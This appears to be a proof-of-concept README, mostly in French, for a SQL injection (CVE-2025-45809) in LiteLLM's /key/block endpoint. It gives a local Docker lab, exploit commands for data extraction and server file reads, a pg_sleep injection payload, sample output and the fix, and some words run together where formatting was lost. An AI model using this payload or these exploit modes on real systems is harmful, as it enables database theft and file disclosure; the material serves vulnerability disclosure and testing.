
Code pour reproduire la vulnérabilité individuellement
/key/block (SQLi aveugle basée sur le temps)LiteLLM v1.65.4 (versions antérieures à v1.81.0) — le paramètre
keydes points de terminaison/key/blocket/key/unblockprésente une vulnérabilité d'injection SQL. Un attaquant peut exploiter une injection aveugle basée sur le temps pour exfiltrer le contenu de la base de données et lire des fichiers du serveur.
| Champ | Valeur |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (Injection SQL) |
| Versions concernées | LiteLLM < 1.81.0 (confirmé en v1.65.4) |
| Corrigé | v1.81.0+ (correction par requêtes paramétrées) |
| Publié | 2025-07-03 |
| Découvert par | shadia0 (via la prime Huntr) |
| Liens | NVD • Huntr • Snyk |
Les points de terminaison /key/block et /key/unblock de LiteLLM servent à gérer le blocage/déblocage des clés API.
Lors du traitement du paramètre key, ces deux points de terminaison concatènent directement l'entrée utilisateur dans la chaîne de requête SQL (via une f-string),
sans utiliser de requêtes paramétrées, ce qui entraîne une vulnérabilité d'injection SQL.
| Point de terminaison | Méthode | Paramètre injecté |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() de PostgreSQL pour confirmer l'injection via la différence des temps de réponsepg_read_file() de PostgreSQL# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Remarque : lors de la première exécution de l'exploit,
/key/generateest appelé automatiquement pour créer une clé API, ce qui déclenche la création de la tableKeypar Prisma. Il s'agit d'un prérequis obligatoire pour que le point de terminaison/key/blockpuisse atteindre le chemin de requête SQL vulnérable. Si cette étape est ignorée,/key/blockrenvoie directement une erreur 401 car la tableKeyn'est pas initialisée, ce qui empêche le déclenchement de l'injection.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### Sortie attendue
**Confirmation de l'injection (--mode check) :**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**La version corrigée refuse l'injection :**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## Détails techniques
### Code vulnérable
Dans LiteLLM v1.65.4, la logique de traitement du point de terminaison `/key/block` ressemble à ceci (version simplifiée) :
```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
L'attaquant injecte la fonction de temporisation PostgreSQL dans le paramètre key :
' OR (SELECT pg_sleep(5)) IS NULL --
La requête SQL concaténée devient :
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Scénario de test | Temps de réponse | Conclusion |
|---|---|---|
| Requête normale (key=test) | ~0.01s | Référence |
| pg_sleep(3) | ~3.01s | Injection effective |
| pg_sleep(5) | ~5.01s | Injection confirmée |
LiteLLM v1.65.4 utilise l'ORM Prisma pour gérer la base de données. La table Key adopte une stratégie de création paresseuse :
avant le premier appel à /key/generate pour créer une clé API, la table Key n'existe pas encore dans PostgreSQL.
Par conséquent, la requête de validation de clé du point de terminaison /key/block (WHERE key='{input}') renvoie une erreur 401 car la table n'existe pas,
avant même d'atteindre le chemin de code SQL vulnérable.
Le PoC actuel gère automatiquement ce problème : avant d'envoyer le payload d'injection, le script exploit appelle
/key/generate pour créer une clé API, garantissant ainsi que la table de la base de données est prête.
Remarque : au premier démarrage du conteneur, patientez environ 30 à 60 s (installation de Prisma CLI + initialisation de la base de données), puis exécutez l'exploit une fois que la ligne
Uvicorn running on http://0.0.0.0:4000apparaît dans les journaux.
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
Corrigé dans v1.81.0, qui utilise des requêtes paramétrées (prepared statements) à la place de la concaténation par f-string :
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
keyAvertissement : Ce contenu est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés.